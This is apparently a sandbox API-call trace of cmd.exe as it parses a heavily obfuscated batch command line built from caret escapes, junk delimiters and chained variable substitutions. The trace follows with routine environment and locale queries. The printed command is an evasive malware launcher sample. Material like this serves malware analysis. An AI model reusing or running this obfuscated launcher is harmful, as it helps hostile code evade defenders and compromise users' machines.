^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) " [0098.999] GetCommandLineW () returned="CMD.Exe /c ^F^o^r ; /^f ;; \" tokens= +2 delims=FeH\" , %^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,%^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^%^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^%^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^%^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^%^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^:^H^4^a^x^i^y+^F^3^p^bf^b^f^k^7^y^u^u^Qe^7P^jy^6K^1^{^m^6^G^C7y^%^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^:^j^Unb^f^)-^3^Qe^AC^X^]^2^+2^1^F^3^p^b^f^b^f^k^7^y^u^uQ^e^G^C^7^y2^+2^G^C^7^y^'^6^w^L^.^Y^-^3^Q^e^A^C^6n^37^.Y^j^Un^5^)^)^}^2^+^2^}[^2^+2^e^2^+^2^w^L^Xb^1^2^+^2^{^jh^`^e^o2G^C7^y^2^+2^8^P^m^'^%^8^P^7^2^+^2G^C^7^y^'^w^L2^+^2n^,^X^3^7Zn^2^+^2^.^2^+^2^Pjy^8^ ^8^ ^7^Kj^h^7^y^j^U^6^ee^'^2^+^2^6^w^L8^P^G^C^7^y^j^h^2+^2GC^7^y^]^Zn^.^1^F3^p^b^f^b^f2^+^2^k^7^y^u^u^Q^e^2^+^2m^Q^e^{^ ^'^2^+^2^'^2+^2^j^Un^2^+^2^A^C^ ^(2^+^2^P^j^y^)2^+^2^)^2^)^'^R^8^P^k^7^y3p^6^7^y^j^U^6w^L^1^2^A^C^6^7^2^6^x^d^{^e^o^2^%^R^en^6^w^L^P^jy^{^7^y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^#^H^)^'^R8^Pk^7^y^3^p^6^7^y^j^U^6^w^L^1^1^{^7y^j^U^6^%^z^w^Lh^7^K^]^P^j^y^A^Ci^y^+^{^7^y^j^U^6^%^zw^L^h7^K]P^j^yi^y^#+^{^7^y^j^U^6^%z^w^L^h7^K^]^P^jy^j^Un^ ^b^f^)^6^x^d^{^e^o^2^%R^en6w^L^P^j^y^{^7^y^jU^6^%^z^w^L^h^7^K^]P^j^y^jUn^4^a^x^H^)^'^R^8P^k^7^y^3p^6^7^y^j^U^6^wL1^1^{^7^y^j^U^6^%^z^w^L^h^7^K^]^P^j^y^j^Un^j^Un^i^y^+{^7y^j^U6^%^z^w^L^h^7^K^]^P^j^y^5^H^+^{7y^j^U^6^%^z^w^L^h^7^K^]^Pjy^i^y^j^Un^)^6x^d^{^e^o^2^%^R^en^6^w^L^P^j^y^{^7^y^j^U6^%^z^wL^h^7^K^]^P^jy^#^bf^)^)^^^&^^^&^.^Y^e^o^28^P^%.^Y^.^Y^6^j^U^e/`^6^K^w^L^,^%^zw^L^h^Pj^.^Y^1^.^Z^.^Y^F^3p^b^f^6^Re^7^K^3^Q^e^A^C^3^p^8^P^8^ ^8^P^:^X^b^G^C7^y^)^'^7y6^T^d^vw^L^'^enF^3p^b^f^P^j^Q^e^wL7^y^j^U^6^X^m^u^Q^e^6n^jU^'^eq^F^3p^b^fN^7^y^P^j^Q^e^8^P^e^o^2^7^yj^U^6^R^Z^G^C^7^y^y^%^1^1T^d^j^h^.^Y^8^P^qF^3^pb^fN^7^y^8 ^e^o^2^3^T^d^]^7^y^)^'^F^3^pb^f^6^Td^3^8P.^Y^.^Y^)^.^Y.^Y^^^^^^^|^G^C7^y^y^P^j^4^w^L^R^e^o^2^h8^P^Z7^y^w^L^3^p^T^d^.^Y^.^Y^-n^X^q^F^3^p^b^fN^Z^q^F^3^p^b^fN^%^w^L^]^6^7^y^j^U^6^%^e^.^Y^.^Y^-^q^F^3^p^b^fNX^3^p^P^j^.Y^-^4^Z^qF^3^p^b^fN^.^Y^%^z^w^Lh^e^3^7^3^78^Pn^.^Y^-^8^P^7^8^P^,^v^%e^P^j^q^F^3^pb^fN^k^7^y^P^jT^d^e,^.^Y^3^Q^e^A^C^`^GC^7^yy^7K^j^h^j^h^.^Y^.^Y^-n^P^j^G^C^7^y^y^]P^jz^w^Lh^e^3^p^8^P^.Y^.^Y^-^7^y^j^U^6P^j^m^u^Q^e^7^K^q^F^3^pb^fN^3^7^.^Y^.^Y.Y^.^Y^.^Y^^^^^^^^^^^^^^^&^1^.^Y^@^8^P^q^F^3^p^b^fN^7^y^8^ ^7^y^j^U6X^m^e^o^2^G^C^7^y^y^8^P^,^{^H^6^x^d^4^a^xH^6^x^d^4^a^x^5^P^j^y^-^Td^Q^X^en^22^)^1^@^Zn^k7y^v^%^.^Y^)^.^Y^.^Y^^^&^^^&^.^Y^.^Y^,^m3^7^'^8^P^7^w^L.^Y^.^Y^.^Y^,^.^,^.^Y^o^63^7^Z^/^T^.^o) , ) ; ; ; )&( ; ( ; ; ; (^S^e^t ^\\^,^}_=^!^+^~^}^{^:A^C^=^9^!) ; ; ; ) )&& ( , (, (^s^e^T ^ ^ ^ ^`^?=^!^\\^,^}^_^:^e^o^2^=^s^!) , , ) ; ; )&&( , ( ; ; (S^e^T ^ ^@^[^~=!^`^?:^e^=^I^!) , ) , )&( , , , (^S^e^T ^ ^ ^ ^@^+^*=^!^@^[^~^:^.^=^g^!) , )&& ( (s^E^T ^ ^[^{=^!^@^+^*^:^8^P^=e^!), )& ( ; ; ; (^S^e^T ^ ^{^@^}=^!^[^{^:'^=.^!), , , )& ( ; (^s^E^t ^ ^\\^{=^!^{^@^}^:^2^=^'^!) , )&& ( , ; , ( , ; , ; , (^s^E^T ^}^]^,^$=^!^\\^{^:^a^=^W^!) , ) , , )&& (^s^e^T ^\\^[=^!^}^]^,^$^:^6^=^a^!)&& ( ( ; ; ; (s^e^t ^ ^ ^`^]^$=^!^\\^[^:^4^W^x^=^2^!) ) )&& ( , ; , ;, (^S^e^T ^ ^ ^`^-^$=!^`^]^$:bf=^6!) , ; , ; , )& ( ,(,;,; , (^s^ET ^ ^ [^$^@^+=^!^`^-^$^:^7^K^=^A^!) , ) , ;, )& ( , (^S^e^t ^@^-=^!^[^$^@^+:^3^p=^l^!) ; ; ; )& (^S^et ^ ^ ^ ^~^`^*^?=^!^@^-^:^:^=^*^!)&&( , , (^s^e^t ^#^;=^!^~^`^*^?^:^w^L^=^E^!) ,; , ; , )& ( ( , , (^s^e^T ^ ^*^{^[=^!^#^;:^ ^=^0^!) , ) )& (^s^et ^ ^@^#^?^.=^!^*^{^[^:^g^Y^=^ ^!)&( , ( , , (^S^E^T ^ ^'^}^_^-=^!^@^#^?^.^:^8^0^=^:^!) ; ; ) " [0099.000] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.000] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x380cd0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\CMD.Exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0099.001] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0099.001] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0099.001] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.001] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0099.001] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0099.001] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0099.001] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0099.001] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0099.001] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0099.001] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0099.001] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0099.001] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0099.001] GetEnvironmentStringsW () returned 0x37eb60* [0099.001] FreeEnvironmentStringsW (penv=0x37eb60) returned 1 [0099.001] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0099.001] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.002] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0099.002] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0099.002] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0099.002] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0099.002] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0099.002] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0099.002] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0099.002] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0099.002] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x22f6f0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.002] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x22f6f0, lpFilePart=0x22f6d0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x22f6d0*="Desktop") returned 0x19 [0099.002] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0099.002] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x22f400 | out: lpFindFileData=0x22f400) returned 0x382540 [0099.002] FindClose (in: hFindFile=0x382540 | out: hFindFile=0x382540) returned 1 [0099.002] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x22f400 | out: lpFindFileData=0x22f400) returned 0x382540 [0099.002] FindClose (in: hFindFile=0x382540 | out: hFindFile=0x382540) returned 1 [0099.003] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x22f400 | out: lpFindFileData=0x22f400) returned 0x382540 [0099.003] FindClose (in: hFindFile=0x382540 | out: hFindFile=0x382540) returned 1 [0099.003] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0099.003] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0099.003] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0099.003] GetEnvironmentStringsW () returned 0x381a10* [0099.003] FreeEnvironmentStringsW (penv=0x381a10) returned 1 [0099.003] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a0ec0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0099.004] GetConsoleOutputCP () returned 0x1b5 [0099.004] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a0ebfe0 | out: lpCPInfo=0x4a0ebfe0) returned 1 [0099.004] GetUserDefaultLCID () returned 0x409 [0099.004] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4a0e7b50, cchData=8 | out: lpLCData=":") returned 2 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x22f800, cchData=128 | out: lpLCData="0") returned 2 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x22f800, cchData=128 | out: lpLCData="0") returned 2 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x22f800, cchData=128 | out: lpLCData="1") returned 2 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4a0fa740, cchData=8 | out: lpLCData="/") returned 2 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4a0fa4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4a0fa460, cchData=32 | out: lpLCData="Tue") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4a0fa420, cchData=32 | out: lpLCData="Wed") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4a0fa3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4a0fa3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4a0fa360, cchData=32 | out: lpLCData="Sat") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4a0fa700, cchData=32 | out: lpLCData="Sun") returned 4 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4a0e7b40, cchData=8 | out: lpLCData=".") returned 2 [0099.005] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4a0fa4e0, cchData=8 | out: lpLCData=",") returned 2 [0099.005] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0099.006] GetConsoleTitleW (in: lpConsoleTitle=0x37f700, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0099.006] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77b20000 [0099.006] GetProcAddress (hModule=0x77b20000, lpProcName="CopyFileExW") returned 0x77b323d0 [0099.006] GetProcAddress (hModule=0x77b20000, lpProcName="IsDebuggerPresent") returned 0x77b28290 [0099.006] GetProcAddress (hModule=0x77b20000, lpProcName="SetConsoleInputExeNameW") returned 0x77b317e0 [0099.162] GetEnvironmentVariableW (in: lpName="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="CD") returned -5 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="ERRORLEVEL") returned -7 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="CMDEXTVERSION") returned -5 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="CMDCMDLINE") returned -5 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="DATE") returned -6 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="TIME") returned -22 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="RANDOM") returned -20 [0099.162] _wcsicmp (_String1="^1,; iN , ( , ', , ^^f^^t^^Yp^^e ;^|;^^f^^IN^^d , ;, \"SHCm\" , , ; ' ; , ) , , ,^d^O ,", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.181] GetEnvironmentVariableW (in: lpName="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="CD") returned -5 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="ERRORLEVEL") returned -7 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="CMDEXTVERSION") returned -5 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="CMDCMDLINE") returned -5 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="DATE") returned -6 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="TIME") returned -22 [0099.181] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="RANDOM") returned -20 [0099.182] _wcsicmp (_String1="^1, ; ; ; pPuxarv^/^VC^s^v^4^0^b^l^b^kn^ ^ ^ , cw8f/^r \", ( , ; , ; ,( , ; , ;,;, (s^e^T^ ^ ^ ^ ^ ^+^~^}{=^e^o^2^8^P^G^C^7^y.Y^.^Y^e^o^2^v^T^d^]^F^3^p^b^f^6^K^'^.^Y^1^.^Y^@eo^2^h^8^P^Z^7^y8^P^3^p^T^d^e^3^7^{^j^Un^P^jy+^@^e^o^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.182] GetEnvironmentVariableW (in: lpName="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CD") returned -5 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="ERRORLEVEL") returned -7 [0099.182] _wcsicmp 